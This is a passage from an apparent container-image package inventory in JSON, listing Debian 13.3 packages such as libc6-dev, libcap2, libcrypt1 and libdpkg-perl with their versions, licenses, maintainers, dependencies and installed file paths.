"/usr/include/x86_64-linux-gnu/bits/statvfs.h", "/usr/include/x86_64-linux-gnu/bits/statx-generic.h", "/usr/include/x86_64-linux-gnu/bits/statx.h", "/usr/include/x86_64-linux-gnu/bits/stdint-intn.h", "/usr/include/x86_64-linux-gnu/bits/stdint-least.h", "/usr/include/x86_64-linux-gnu/bits/stdint-uintn.h", "/usr/include/x86_64-linux-gnu/bits/stdio-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/stdio.h", "/usr/include/x86_64-linux-gnu/bits/stdio2-decl.h", "/usr/include/x86_64-linux-gnu/bits/stdio2.h", "/usr/include/x86_64-linux-gnu/bits/stdio_lim.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-bsearch.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-float.h", "/usr/include/x86_64-linux-gnu/bits/stdlib-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/stdlib.h", "/usr/include/x86_64-linux-gnu/bits/string_fortified.h", "/usr/include/x86_64-linux-gnu/bits/strings_fortified.h", "/usr/include/x86_64-linux-gnu/bits/struct_mutex.h", "/usr/include/x86_64-linux-gnu/bits/struct_rwlock.h", "/usr/include/x86_64-linux-gnu/bits/struct_stat.h", "/usr/include/x86_64-linux-gnu/bits/struct_stat_time64_helper.h", "/usr/include/x86_64-linux-gnu/bits/syscall.h", "/usr/include/x86_64-linux-gnu/bits/syslog-decl.h", "/usr/include/x86_64-linux-gnu/bits/syslog-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/syslog-path.h", "/usr/include/x86_64-linux-gnu/bits/syslog.h", "/usr/include/x86_64-linux-gnu/bits/sysmacros.h", "/usr/include/x86_64-linux-gnu/bits/termios-baud.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_cc.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_cflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_iflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_lflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-c_oflag.h", "/usr/include/x86_64-linux-gnu/bits/termios-misc.h", "/usr/include/x86_64-linux-gnu/bits/termios-struct.h", "/usr/include/x86_64-linux-gnu/bits/termios-tcflow.h", "/usr/include/x86_64-linux-gnu/bits/termios.h", "/usr/include/x86_64-linux-gnu/bits/thread-shared-types.h", "/usr/include/x86_64-linux-gnu/bits/time.h", "/usr/include/x86_64-linux-gnu/bits/time64.h", "/usr/include/x86_64-linux-gnu/bits/timerfd.h", "/usr/include/x86_64-linux-gnu/bits/timesize.h", "/usr/include/x86_64-linux-gnu/bits/timex.h", "/usr/include/x86_64-linux-gnu/bits/types.h", "/usr/include/x86_64-linux-gnu/bits/types/FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/__FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/__fpos64_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__fpos_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__locale_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__mbstate_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__sigset_t.h", "/usr/include/x86_64-linux-gnu/bits/types/__sigval_t.h", "/usr/include/x86_64-linux-gnu/bits/types/clock_t.h", "/usr/include/x86_64-linux-gnu/bits/types/clockid_t.h", "/usr/include/x86_64-linux-gnu/bits/types/cookie_io_functions_t.h", "/usr/include/x86_64-linux-gnu/bits/types/error_t.h", "/usr/include/x86_64-linux-gnu/bits/types/idtype_t.h", "/usr/include/x86_64-linux-gnu/bits/types/locale_t.h", "/usr/include/x86_64-linux-gnu/bits/types/mbstate_t.h", "/usr/include/x86_64-linux-gnu/bits/types/res_state.h", "/usr/include/x86_64-linux-gnu/bits/types/sig_atomic_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigevent_t.h", "/usr/include/x86_64-linux-gnu/bits/types/siginfo_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigset_t.h", "/usr/include/x86_64-linux-gnu/bits/types/sigval_t.h", "/usr/include/x86_64-linux-gnu/bits/types/stack_t.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_FILE.h", "/usr/include/x86_64-linux-gnu/bits/types/struct___jmp_buf_tag.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_iovec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_itimerspec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_msqid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_osockaddr.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_rusage.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_sched_param.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_semid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid64_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid64_ds_helper.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_shmid_ds.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_sigstack.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_statx.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_statx_timestamp.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timeb.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timespec.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_timeval.h", "/usr/include/x86_64-linux-gnu/bits/types/struct_tm.h", "/usr/include/x86_64-linux-gnu/bits/types/time_t.h", "/usr/include/x86_64-linux-gnu/bits/types/timer_t.h", "/usr/include/x86_64-linux-gnu/bits/types/wint_t.h", "/usr/include/x86_64-linux-gnu/bits/typesizes.h", "/usr/include/x86_64-linux-gnu/bits/uintn-identity.h", "/usr/include/x86_64-linux-gnu/bits/uio-ext.h", "/usr/include/x86_64-linux-gnu/bits/uio_lim.h", "/usr/include/x86_64-linux-gnu/bits/unistd-decl.h", "/usr/include/x86_64-linux-gnu/bits/unistd.h", "/usr/include/x86_64-linux-gnu/bits/unistd_ext.h", "/usr/include/x86_64-linux-gnu/bits/utmp.h", "/usr/include/x86_64-linux-gnu/bits/utmpx.h", "/usr/include/x86_64-linux-gnu/bits/utsname.h", "/usr/include/x86_64-linux-gnu/bits/waitflags.h", "/usr/include/x86_64-linux-gnu/bits/waitstatus.h", "/usr/include/x86_64-linux-gnu/bits/wchar-ldbl.h", "/usr/include/x86_64-linux-gnu/bits/wchar.h", "/usr/include/x86_64-linux-gnu/bits/wchar2-decl.h", "/usr/include/x86_64-linux-gnu/bits/wchar2.h", "/usr/include/x86_64-linux-gnu/bits/wctype-wchar.h", "/usr/include/x86_64-linux-gnu/bits/wordsize.h", "/usr/include/x86_64-linux-gnu/bits/xopen_lim.h", "/usr/include/x86_64-linux-gnu/fpu_control.h", "/usr/include/x86_64-linux-gnu/gnu/lib-names-64.h", "/usr/include/x86_64-linux-gnu/gnu/lib-names.h", "/usr/include/x86_64-linux-gnu/gnu/libc-version.h", "/usr/include/x86_64-linux-gnu/gnu/stubs-64.h", "/usr/include/x86_64-linux-gnu/gnu/stubs.h", "/usr/include/x86_64-linux-gnu/ieee754.h", "/usr/include/x86_64-linux-gnu/sys/acct.h", "/usr/include/x86_64-linux-gnu/sys/auxv.h", "/usr/include/x86_64-linux-gnu/sys/bitypes.h", "/usr/include/x86_64-linux-gnu/sys/cdefs.h", "/usr/include/x86_64-linux-gnu/sys/debugreg.h", "/usr/include/x86_64-linux-gnu/sys/dir.h", "/usr/include/x86_64-linux-gnu/sys/elf.h", "/usr/include/x86_64-linux-gnu/sys/epoll.h", "/usr/include/x86_64-linux-gnu/sys/errno.h", "/usr/include/x86_64-linux-gnu/sys/eventfd.h", "/usr/include/x86_64-linux-gnu/sys/fanotify.h", "/usr/include/x86_64-linux-gnu/sys/fcntl.h", "/usr/include/x86_64-linux-gnu/sys/file.h", "/usr/include/x86_64-linux-gnu/sys/fsuid.h", "/usr/include/x86_64-linux-gnu/sys/gmon.h", "/usr/include/x86_64-linux-gnu/sys/gmon_out.h", "/usr/include/x86_64-linux-gnu/sys/inotify.h", "/usr/include/x86_64-linux-gnu/sys/io.h", "/usr/include/x86_64-linux-gnu/sys/ioctl.h", "/usr/include/x86_64-linux-gnu/sys/ipc.h", "/usr/include/x86_64-linux-gnu/sys/kd.h", "/usr/include/x86_64-linux-gnu/sys/klog.h", "/usr/include/x86_64-linux-gnu/sys/mman.h", "/usr/include/x86_64-linux-gnu/sys/mount.h", "/usr/include/x86_64-linux-gnu/sys/msg.h", "/usr/include/x86_64-linux-gnu/sys/mtio.h", "/usr/include/x86_64-linux-gnu/sys/param.h", "/usr/include/x86_64-linux-gnu/sys/pci.h", "/usr/include/x86_64-linux-gnu/sys/perm.h", "/usr/include/x86_64-linux-gnu/sys/personality.h", "/usr/include/x86_64-linux-gnu/sys/pidfd.h", "/usr/include/x86_64-linux-gnu/sys/platform/x86.h", "/usr/include/x86_64-linux-gnu/sys/poll.h", "/usr/include/x86_64-linux-gnu/sys/prctl.h", "/usr/include/x86_64-linux-gnu/sys/procfs.h", "/usr/include/x86_64-linux-gnu/sys/profil.h", "/usr/include/x86_64-linux-gnu/sys/ptrace.h", "/usr/include/x86_64-linux-gnu/sys/queue.h", "/usr/include/x86_64-linux-gnu/sys/quota.h", "/usr/include/x86_64-linux-gnu/sys/random.h", "/usr/include/x86_64-linux-gnu/sys/raw.h", "/usr/include/x86_64-linux-gnu/sys/reboot.h", "/usr/include/x86_64-linux-gnu/sys/reg.h", "/usr/include/x86_64-linux-gnu/sys/resource.h", "/usr/include/x86_64-linux-gnu/sys/rseq.h", "/usr/include/x86_64-linux-gnu/sys/select.h", "/usr/include/x86_64-linux-gnu/sys/sem.h", "/usr/include/x86_64-linux-gnu/sys/sendfile.h", "/usr/include/x86_64-linux-gnu/sys/shm.h", "/usr/include/x86_64-linux-gnu/sys/signal.h", "/usr/include/x86_64-linux-gnu/sys/signalfd.h", "/usr/include/x86_64-linux-gnu/sys/single_threaded.h", "/usr/include/x86_64-linux-gnu/sys/socket.h", "/usr/include/x86_64-linux-gnu/sys/socketvar.h", "/usr/include/x86_64-linux-gnu/sys/soundcard.h", "/usr/include/x86_64-linux-gnu/sys/stat.h", "/usr/include/x86_64-linux-gnu/sys/statfs.h", "/usr/include/x86_64-linux-gnu/sys/statvfs.h", "/usr/include/x86_64-linux-gnu/sys/swap.h", "/usr/include/x86_64-linux-gnu/sys/syscall.h", "/usr/include/x86_64-linux-gnu/sys/sysinfo.h", "/usr/include/x86_64-linux-gnu/sys/syslog.h", "/usr/include/x86_64-linux-gnu/sys/sysmacros.h", "/usr/include/x86_64-linux-gnu/sys/termios.h", "/usr/include/x86_64-linux-gnu/sys/time.h", "/usr/include/x86_64-linux-gnu/sys/timeb.h", "/usr/include/x86_64-linux-gnu/sys/timerfd.h", "/usr/include/x86_64-linux-gnu/sys/times.h", "/usr/include/x86_64-linux-gnu/sys/timex.h", "/usr/include/x86_64-linux-gnu/sys/ttychars.h", "/usr/include/x86_64-linux-gnu/sys/ttydefaults.h", "/usr/include/x86_64-linux-gnu/sys/types.h", "/usr/include/x86_64-linux-gnu/sys/ucontext.h", "/usr/include/x86_64-linux-gnu/sys/uio.h", "/usr/include/x86_64-linux-gnu/sys/un.h", "/usr/include/x86_64-linux-gnu/sys/unistd.h", "/usr/include/x86_64-linux-gnu/sys/user.h", "/usr/include/x86_64-linux-gnu/sys/utsname.h", "/usr/include/x86_64-linux-gnu/sys/vfs.h", "/usr/include/x86_64-linux-gnu/sys/vlimit.h", "/usr/include/x86_64-linux-gnu/sys/vm86.h", "/usr/include/x86_64-linux-gnu/sys/vt.h", "/usr/include/x86_64-linux-gnu/sys/wait.h", "/usr/include/x86_64-linux-gnu/sys/xattr.h", "/usr/lib/x86_64-linux-gnu/Mcrt1.o", "/usr/lib/x86_64-linux-gnu/Scrt1.o", "/usr/lib/x86_64-linux-gnu/audit/sotruss-lib.so", "/usr/lib/x86_64-linux-gnu/crt1.o", "/usr/lib/x86_64-linux-gnu/crti.o", "/usr/lib/x86_64-linux-gnu/crtn.o", "/usr/lib/x86_64-linux-gnu/gcrt1.o", "/usr/lib/x86_64-linux-gnu/grcrt1.o", "/usr/lib/x86_64-linux-gnu/libBrokenLocale.a", "/usr/lib/x86_64-linux-gnu/libanl.a", "/usr/lib/x86_64-linux-gnu/libc.a", "/usr/lib/x86_64-linux-gnu/libc.so", "/usr/lib/x86_64-linux-gnu/libc_nonshared.a", "/usr/lib/x86_64-linux-gnu/libdl.a", "/usr/lib/x86_64-linux-gnu/libg.a", "/usr/lib/x86_64-linux-gnu/libm-2.41.a", "/usr/lib/x86_64-linux-gnu/libm.a", "/usr/lib/x86_64-linux-gnu/libm.so", "/usr/lib/x86_64-linux-gnu/libmcheck.a", "/usr/lib/x86_64-linux-gnu/libmvec.a", "/usr/lib/x86_64-linux-gnu/libpthread.a", "/usr/lib/x86_64-linux-gnu/libpthread_nonshared.a", "/usr/lib/x86_64-linux-gnu/libresolv.a", "/usr/lib/x86_64-linux-gnu/librt.a", "/usr/lib/x86_64-linux-gnu/libutil.a", "/usr/lib/x86_64-linux-gnu/rcrt1.o", "/usr/share/doc/libc6-dev/NEWS.Debian.gz", "/usr/share/doc/libc6-dev/changelog.Debian.gz", "/usr/share/doc/libc6-dev/changelog.gz", "/usr/share/doc/libc6-dev/copyright", "/usr/share/gdb/auto-load/lib/x86_64-linux-gnu/libc.so.6-gdb.py", "/usr/share/lintian/overrides/libc6-dev" ], "AnalyzedBy": "dpkg" }, { "ID": "libcap-ng0@0.8.5-4+b1", "Name": "libcap-ng0", "Identifier": { "PURL": "pkg:deb/debian/libcap-ng0@0.8.5-4%2Bb1?arch=amd64\u0026distro=debian-13.3", "UID": "5c9befb3e6389825" }, "Version": "0.8.5", "Release": "4+b1", "Arch": "amd64", "SrcName": "libcap-ng", "SrcVersion": "0.8.5", "SrcRelease": "4", "Licenses": [ "LGPL-2.1-or-later", "GPL-2.0-or-later", "GPL-3.0-only", "LGPL-2.1-only", "GPL-2.0-only" ], "Maintainer": "Håvard F. Aasen \u003chavard.f.aasen@pfft.no\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcap-ng.so.0.0.0", "/usr/lib/x86_64-linux-gnu/libdrop_ambient.so.0.0.0", "/usr/share/doc/libcap-ng0/changelog.Debian.amd64.gz", "/usr/share/doc/libcap-ng0/changelog.Debian.gz", "/usr/share/doc/libcap-ng0/changelog.gz", "/usr/share/doc/libcap-ng0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcap2@1:2.75-10+b3", "Name": "libcap2", "Identifier": { "PURL": "pkg:deb/debian/libcap2@2.75-10%2Bb3?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "976844a25da6670e" }, "Version": "2.75", "Release": "10+b3", "Epoch": 1, "Arch": "amd64", "SrcName": "libcap2", "SrcVersion": "2.75", "SrcRelease": "10", "SrcEpoch": 1, "Licenses": [ "BSD-3-Clause", "GPL-2.0-only", "GPL-2.0-or-later" ], "Maintainer": "Christian Kastner \u003cckk@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcap.so.2.75", "/usr/lib/x86_64-linux-gnu/libpsx.so.2.75", "/usr/share/doc/libcap2/changelog.Debian.amd64.gz", "/usr/share/doc/libcap2/changelog.Debian.gz", "/usr/share/doc/libcap2/changelog.gz", "/usr/share/doc/libcap2/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libcc1-0@14.2.0-19", "Name": "libcc1-0", "Identifier": { "PURL": "pkg:deb/debian/libcc1-0@14.2.0-19?arch=amd64\u0026distro=debian-13.3", "UID": "a870b98fa097d335" }, "Version": "14.2.0", "Release": "19", "Arch": "amd64", "SrcName": "gcc-14", "SrcVersion": "14.2.0", "SrcRelease": "19", "Maintainer": "Debian GCC Maintainers \u003cdebian-gcc@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "gcc-14-base@14.2.0-19", "libc6@2.41-12+deb13u2", "libgcc-s1@14.2.0-19", "libstdc++6@14.2.0-19" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcc1.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libcrypt-dev@1:4.4.38-1", "Name": "libcrypt-dev", "Identifier": { "PURL": "pkg:deb/debian/libcrypt-dev@4.4.38-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "d7c18f63b04c530e" }, "Version": "4.4.38", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcrypt", "SrcVersion": "4.4.38", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libcrypt1@1:4.4.38-1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/include/crypt.h", "/usr/lib/x86_64-linux-gnu/libcrypt.a", "/usr/lib/x86_64-linux-gnu/pkgconfig/libxcrypt.pc", "/usr/share/doc/libcrypt-dev/README.md.gz", "/usr/share/doc/libcrypt-dev/TODO.md.gz", "/usr/share/doc/libcrypt-dev/changelog.Debian.gz", "/usr/share/doc/libcrypt-dev/changelog.gz", "/usr/share/doc/libcrypt-dev/copyright", "/usr/share/man/man3/crypt.3.gz", "/usr/share/man/man3/crypt_checksalt.3.gz", "/usr/share/man/man3/crypt_gensalt.3.gz", "/usr/share/man/man3/crypt_preferred_method.3.gz", "/usr/share/man/man5/crypt.5.gz" ], "AnalyzedBy": "dpkg" }, { "ID": "libcrypt1@1:4.4.38-1", "Name": "libcrypt1", "Identifier": { "PURL": "pkg:deb/debian/libcrypt1@4.4.38-1?arch=amd64\u0026distro=debian-13.3\u0026epoch=1", "UID": "c3820f15bf4e7a13" }, "Version": "4.4.38", "Release": "1", "Epoch": 1, "Arch": "amd64", "SrcName": "libxcrypt", "SrcVersion": "4.4.38", "SrcRelease": "1", "SrcEpoch": 1, "Maintainer": "Marco d'Itri \u003cmd@linux.it\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0", "/usr/share/doc/libcrypt1/changelog.Debian.gz", "/usr/share/doc/libcrypt1/changelog.gz", "/usr/share/doc/libcrypt1/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libctf-nobfd0@2.44-3", "Name": "libctf-nobfd0", "Identifier": { "PURL": "pkg:deb/debian/libctf-nobfd0@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "4e236b9186a52735" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Licenses": [ "GPL-2.0-or-later", "LGPL-2.0-or-later", "GFDL-1.3-or-later" ], "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libctf-nobfd.so.0.0.0", "/usr/share/doc/libctf-nobfd0/changelog.Debian.gz", "/usr/share/doc/libctf-nobfd0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libctf0@2.44-3", "Name": "libctf0", "Identifier": { "PURL": "pkg:deb/debian/libctf0@2.44-3?arch=amd64\u0026distro=debian-13.3", "UID": "90ec4e2488452a53" }, "Version": "2.44", "Release": "3", "Arch": "amd64", "SrcName": "binutils", "SrcVersion": "2.44", "SrcRelease": "3", "Maintainer": "Matthias Klose \u003cdoko@debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libbinutils@2.44-3", "libc6@2.41-12+deb13u2", "zlib1g@1:1.3.dfsg+really1.3.1-1+b1" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libctf.so.0.0.0" ], "AnalyzedBy": "dpkg" }, { "ID": "libdb5.3t64@5.3.28+dfsg2-9", "Name": "libdb5.3t64", "Identifier": { "PURL": "pkg:deb/debian/libdb5.3t64@5.3.28%2Bdfsg2-9?arch=amd64\u0026distro=debian-13.3", "UID": "3b9d2f17799986c8" }, "Version": "5.3.28+dfsg2", "Release": "9", "Arch": "amd64", "SrcName": "db5.3", "SrcVersion": "5.3.28+dfsg2", "SrcRelease": "9", "Licenses": [ "Sleepycat", "BSD-3-Clause", "MS-PL", "GPL-2.0-or-later", "Artistic-2.0", "X11", "MIT-old", "TCL-like", "BSD-3-clause-fjord", "GPL-3.0-only", "Zlib" ], "Maintainer": "Debian QA Group \u003cpackages@qa.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdb-5.3.so", "/usr/share/doc/libdb5.3t64/build_signature_amd64.txt", "/usr/share/doc/libdb5.3t64/changelog.Debian.gz", "/usr/share/doc/libdb5.3t64/copyright", "/usr/share/lintian/overrides/libdb5.3t64" ], "AnalyzedBy": "dpkg" }, { "ID": "libdebconfclient0@0.280", "Name": "libdebconfclient0", "Identifier": { "PURL": "pkg:deb/debian/libdebconfclient0@0.280?arch=amd64\u0026distro=debian-13.3", "UID": "6134dc231a5060f1" }, "Version": "0.280", "Arch": "amd64", "SrcName": "cdebconf", "SrcVersion": "0.280", "Licenses": [ "BSD-2-Clause", "GPL-2.0-or-later", "GPL-2.0-only" ], "Maintainer": "Debian Install System Team \u003cdebian-boot@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "libc6@2.41-12+deb13u2" ], "Layer": { "DiffID": "sha256:a257f20c716c7b5d0474b1b5998f4d1090b573d90b82f764b8f1f1faeb4b524f" }, "InstalledFiles": [ "/usr/lib/x86_64-linux-gnu/libdebconfclient.so.0.0.0", "/usr/share/doc/libdebconfclient0/changelog.gz", "/usr/share/doc/libdebconfclient0/copyright" ], "AnalyzedBy": "dpkg" }, { "ID": "libdpkg-perl@1.22.22", "Name": "libdpkg-perl", "Identifier": { "PURL": "pkg:deb/debian/libdpkg-perl@1.22.22?arch=all\u0026distro=debian-13.3", "UID": "5511b7cdf3abf31d" }, "Version": "1.22.22", "Arch": "all", "SrcName": "dpkg", "SrcVersion": "1.22.22", "Licenses": [ "GPL-2.0-or-later", "public-domain-s-s-d", "GPL-2.0-only" ], "Maintainer": "Dpkg Developers \u003cdebian-dpkg@lists.debian.org\u003e", "Repository": { "Class": "official" }, "DependsOn": [ "dpkg@1.22.22" ], "Layer": { "DiffID": "sha256:e3062d5d0fe8c6f58e404868603100525046cc38e83d3372358ab598f70f3dd4" }, "InstalledFiles": [ "/usr/share/doc/libdpkg-perl/changelog.gz", "/usr/share/doc/libdpkg-perl/copyright", "/usr/share/dpkg/no-pie-compile.specs", "/usr/share/dpkg/no-pie-link.specs", "/usr/share/dpkg/pie-compile.specs", "/usr/share/dpkg/pie-link.specs", "/usr/share/locale/ca/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/de/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/es/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/fr/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/nl/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/pl/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/pt/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/ru/LC_MESSAGES/dpkg-dev.mo", "/usr/share/locale/sv/LC_MESSAGES/dpkg-dev.mo", "/usr/share/man/man3/Dpkg.3perl.gz", "/usr/share/man/man3/Dpkg::Arch.3perl.gz", "/usr/share/man/man3/Dpkg::Archive::Ar.3perl.gz", "/usr/share/man/man3/Dpkg::Build::Info.3perl.gz", "/usr/share/man/man3/Dpkg::BuildAPI.3perl.gz", "/usr/share/man/man3/Dpkg::BuildDriver.3perl.gz", "/usr/share/man/man3/Dpkg::BuildDriver::DebianRules.3perl.gz", "/usr/share/man/man3/Dpkg::BuildEnv.3perl.gz", "/usr/share/man/man3/Dpkg::BuildFlags.3perl.gz", "/usr/share/man/man3/Dpkg::BuildInfo.3perl.gz", "/usr/share/man/man3/Dpkg::BuildOptions.3perl.gz", "/usr/share/man/man3/Dpkg::BuildProfiles.3perl.gz", "/usr/share/man/man3/Dpkg::BuildTree.3perl.gz", "/usr/share/man/man3/Dpkg::BuildTypes.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Debian.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Entry.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Entry::Debian.3perl.gz", "/usr/share/man/man3/Dpkg::Changelog::Parse.3perl.gz", "/usr/share/man/man3/Dpkg::Checksums.3perl.gz", "/usr/share/man/man3/Dpkg::Compression.3perl.gz", "/usr/share/man/man3/Dpkg::Compression::FileHandle.3perl.gz", "/usr/share/man/man3/Dpkg::Compression::Process.3perl.gz", "/usr/share/man/man3/Dpkg::Conf.3perl.gz", "/usr/share/man/man3/Dpkg::Control.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Changelog.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Fields.3perl.gz", "/usr/share/man/man3/Dpkg::Control::FieldsCore.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Hash.3perl.gz", "/usr/share/man/man3/Dpkg::Control::HashCore.3perl.gz", "/usr/share/man/man3/Dpkg::Control::HashCore::Tie.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Info.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Tests.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Tests::Entry.3perl.gz", "/usr/share/man/man3/Dpkg::Control::Types.3perl.gz", "/usr/share/man/man3/Dpkg::Deps.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::AND.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::KnownFacts.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::Multiple.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::OR.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::Simple.3perl.gz", "/usr/share/man/man3/Dpkg::Deps::Union.3perl.gz", "/usr/share/man/man3/Dpkg::Dist::Files.3perl.gz", "/usr/share/man/man3/Dpkg::ErrorHandling.3perl.gz", "/usr/share/man/man3/Dpkg::Exit.3perl.gz", "/usr/share/man/man3/Dpkg::File.3perl.gz", "/usr/share/man/man3/Dpkg::Getopt.3perl.gz", "/usr/share/man/man3/Dpkg::Gettext.3perl.gz", "/usr/share/man/man3/Dpkg::IPC.3perl.gz", "/usr/share/man/man3/Dpkg::Index.3perl.gz", "/usr/share/man/man3/Dpkg::Interface::Storable.3perl.gz", "/usr/share/man/man3/Dpkg::Lock.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP::Backend.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP::Backend::GnuPG.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP::Backend::SOP.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP::Backend::Sequoia.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP::ErrorCodes.3perl.gz", "/usr/share/man/man3/Dpkg::OpenPGP::KeyHandle.3perl.gz", "/usr/share/man/man3/Dpkg::Package.3perl.gz", "/usr/share/man/man3/Dpkg::Path.3perl.gz", "/usr/share/man/man3/Dpkg::Shlibs.3perl.gz", "/usr/share/man/man3/Dpkg::Shlibs::Cppfilt.3perl.gz", "/usr/share/man/man3/Dpkg::Shlibs::Objdump.3perl.gz", "/usr/share/man/man3/Dpkg::Shlibs::Objdump::Object.3perl.gz", "/usr/share/man/man3/Dpkg::Shlibs::Symbol.3perl.gz", "/usr/share/man/man3/Dpkg::Shlibs::SymbolFile.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Archive.3perl.gz", "/usr/share/man/man3/Dpkg::Source::BinaryFiles.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Format.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Functions.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package.3perl.gz", "/usr/share/man/man3/Dpkg::Source::Package::V1.3perl.gz", 